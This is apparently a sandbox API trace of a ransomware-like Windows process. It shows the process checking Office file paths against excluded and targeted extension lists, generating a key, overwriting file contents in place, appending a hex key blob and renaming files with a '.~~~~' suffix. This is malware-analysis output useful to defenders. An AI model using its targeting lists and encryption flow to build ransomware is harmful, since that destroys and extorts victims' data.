	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".NDF") returned 0x0
	[0139.905] lstrlenW (lpString=".dat") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dat") returned 0x0
	[0139.905] lstrlenW (lpString=".DBS") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DBS") returned 0x0
	[0139.905] lstrlenW (lpString=".CKP") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".CKP") returned 0x0
	[0139.905] lstrlenW (lpString=".edb") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".edb") returned 0x0
	[0139.905] lstrlenW (lpString=".PST") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".PST") returned 0x0
	[0139.905] lstrlenW (lpString=".dbf") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dbf") returned 0x0
	[0139.905] lstrlenW (lpString=".SQL") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".SQL") returned 0x0
	[0139.905] lstrlenW (lpString=".pst") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".pst") returned 0x0
	[0139.905] lstrlenW (lpString=".dbv") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dbv") returned 0x0
	[0139.905] lstrlenW (lpString=".SDF") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".SDF") returned 0x0
	[0139.906] lstrlenW (lpString=".dtxs") returned 5
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dtxs") returned 0x0
	[0139.906] lstrlenW (lpString=".db3") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".db3") returned 0x0
	[0139.906] lstrlenW (lpString=".OST") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".OST") returned 0x0
	[0139.906] lstrlenW (lpString=".dbx") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dbx") returned 0x0
	[0139.906] lstrlenW (lpString=".DB3") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DB3") returned 0x0
	[0139.906] lstrlenW (lpString=".DAT") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DAT") returned 0x0
	[0139.906] lstrlenW (lpString=".VHDX") returned 5
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".VHDX") returned 0x0
	[0139.906] lstrlenW (lpString=".ndf") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".ndf") returned 0x0
	[0139.906] lstrlenW (lpString=".DB") returned 3
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DB") returned 0x0
	[0139.906] lstrlenW (lpString=".sql") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".sql") returned 0x0
	[0139.906] lstrlenW (lpString=".MYD") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".MYD") returned 0x0
	[0139.906] lstrlenW (lpString=".DBT") returned 4
	[0139.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DBT") returned 0x0
	[0139.907] lstrlenW (lpString=".ACCDB") returned 6
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.907] lstrlenW (lpString=".fdb") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".fdb") returned 0x0
	[0139.907] lstrlenW (lpString=".bak") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".bak") returned 0x0
	[0139.907] lstrlenW (lpString=".myd") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".myd") returned 0x0
	[0139.907] lstrlenW (lpString=".DTXS") returned 5
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DTXS") returned 0x0
	[0139.907] lstrlenW (lpString=".ckp") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".ckp") returned 0x0
	[0139.907] lstrlenW (lpString=".dbt") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dbt") returned 0x0
	[0139.907] lstrlenW (lpString=".db") returned 3
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".db") returned 0x0
	[0139.907] lstrlenW (lpString=".TXT") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".TXT") returned 0x0
	[0139.907] lstrlenW (lpString=".MDF") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".MDF") returned 0x0
	[0139.907] lstrlenW (lpString=".bdb") returned 4
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".bdb") returned 0x0
	[0139.907] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0139.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.908] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.909] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.909] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0139.910] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25990004747) returned 1
	[0139.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbccfc8b0, dwHighDateTime=0x1d60e1e)) 
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d7a0
	[0139.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d7a0 | out: hHeap=0x300000) returned 1
	[0139.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0139.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0139.911] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0139.911] GetLastError () returned 0x0
	[0139.911] GetLastError () returned 0x0
	[0139.912] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0139.912] GetLastError () returned 0x0
	[0139.912] GetLastError () returned 0x0
	[0139.912] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.916] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.916] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.917] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.917] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.917] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.917] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.917] CloseHandle (hObject=0x108) returned 1
	[0139.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0a78
	[0139.917] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css.~~~~")) returned 1
	[0139.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0a78 | out: hHeap=0x300000) returned 1
	[0139.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0139.921] GetLastError () returned 0x0
	[0139.921] RtlWakeConditionVariable () returned 0x0
	[0139.921] GetCurrentThreadId () returned 0x3a4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".scr") returned 0x0
	[0139.921] lstrlenW (lpString=".cmd") returned 4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".cmd") returned 0x0
	[0139.921] lstrlenW (lpString=".dll") returned 4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dll") returned 0x0
	[0139.921] lstrlenW (lpString=".bat") returned 4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".bat") returned 0x0
	[0139.921] lstrlenW (lpString=".cpl") returned 4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".cpl") returned 0x0
	[0139.921] lstrlenW (lpString=".sys") returned 4
	[0139.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".sys") returned 0x0
	[0139.922] lstrlenW (lpString=".msc") returned 4
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".msc") returned 0x0
	[0139.922] lstrlenW (lpString=".com") returned 4
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".com") returned 0x0
	[0139.922] lstrlenW (lpString=".lnk") returned 4
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".lnk") returned 0x0
	[0139.922] lstrlenW (lpString=".msp") returned 4
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".msp") returned 0x0
	[0139.922] lstrlenW (lpString=".pif") returned 4
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".pif") returned 0x0
	[0139.922] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.924] lstrlenW (lpString=".sqb") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".sqb") returned 0x0
	[0139.924] lstrlenW (lpString=".ost") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".ost") returned 0x0
	[0139.924] lstrlenW (lpString=".txt") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".txt") returned 0x0
	[0139.924] lstrlenW (lpString=".mdt") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".mdt") returned 0x0
	[0139.924] lstrlenW (lpString=".BDB") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".BDB") returned 0x0
	[0139.924] lstrlenW (lpString=".eql") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".eql") returned 0x0
	[0139.924] lstrlenW (lpString=".DBF") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DBF") returned 0x0
	[0139.924] lstrlenW (lpString=".EQL") returned 4
	[0139.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".EQL") returned 0x0
	[0139.925] lstrlenW (lpString=".FDB") returned 4
	[0139.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".FDB") returned 0x0
	[0139.925] lstrlenW (lpString=".EDB") returned 4
	[0139.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".EDB") returned 0x0
	[0139.994] lstrlenW (lpString=".DACPAC") returned 7
	[0139.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.994] lstrlenW (lpString=".VHD") returned 4
	[0139.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".VHD") returned 0x0
	[0139.994] lstrlenW (lpString=".DBV") returned 4
	[0139.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DBV") returned 0x0
	[0139.994] lstrlenW (lpString=".dacpac") returned 7
	[0139.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dacpac") returned 0x0
	[0139.994] lstrlenW (lpString=".sdf") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".sdf") returned 0x0
	[0139.995] lstrlenW (lpString=".accdb") returned 6
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".accdb") returned 0x0
	[0139.995] lstrlenW (lpString=".DBX") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DBX") returned 0x0
	[0139.995] lstrlenW (lpString=".MDT") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".MDT") returned 0x0
	[0139.995] lstrlenW (lpString=".SQB") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".SQB") returned 0x0
	[0139.995] lstrlenW (lpString=".vhd") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".vhd") returned 0x0
	[0139.995] lstrlenW (lpString=".bac") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".bac") returned 0x0
	[0139.995] lstrlenW (lpString=".mdf") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".mdf") returned 0x0
	[0139.995] lstrlenW (lpString=".BAK") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".BAK") returned 0x0
	[0139.995] lstrlenW (lpString=".BAC") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".BAC") returned 0x0
	[0139.995] lstrlenW (lpString=".dbs") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dbs") returned 0x0
	[0139.995] lstrlenW (lpString=".vhdx") returned 5
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".vhdx") returned 0x0
	[0139.995] lstrlenW (lpString=".NDF") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".NDF") returned 0x0
	[0139.995] lstrlenW (lpString=".dat") returned 4
	[0139.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dat") returned 0x0
	[0139.996] lstrlenW (lpString=".DBS") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DBS") returned 0x0
	[0139.996] lstrlenW (lpString=".CKP") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".CKP") returned 0x0
	[0139.996] lstrlenW (lpString=".edb") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".edb") returned 0x0
	[0139.996] lstrlenW (lpString=".PST") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".PST") returned 0x0
	[0139.996] lstrlenW (lpString=".dbf") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dbf") returned 0x0
	[0139.996] lstrlenW (lpString=".SQL") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".SQL") returned 0x0
	[0139.996] lstrlenW (lpString=".pst") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".pst") returned 0x0
	[0139.996] lstrlenW (lpString=".dbv") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dbv") returned 0x0
	[0139.996] lstrlenW (lpString=".SDF") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".SDF") returned 0x0
	[0139.996] lstrlenW (lpString=".dtxs") returned 5
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dtxs") returned 0x0
	[0139.996] lstrlenW (lpString=".db3") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".db3") returned 0x0
	[0139.996] lstrlenW (lpString=".OST") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".OST") returned 0x0
	[0139.996] lstrlenW (lpString=".dbx") returned 4
	[0139.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dbx") returned 0x0
	[0139.996] lstrlenW (lpString=".DB3") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DB3") returned 0x0
	[0139.997] lstrlenW (lpString=".DAT") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DAT") returned 0x0
	[0139.997] lstrlenW (lpString=".VHDX") returned 5
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".VHDX") returned 0x0
	[0139.997] lstrlenW (lpString=".ndf") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".ndf") returned 0x0
	[0139.997] lstrlenW (lpString=".DB") returned 3
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DB") returned 0x0
	[0139.997] lstrlenW (lpString=".sql") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".sql") returned 0x0
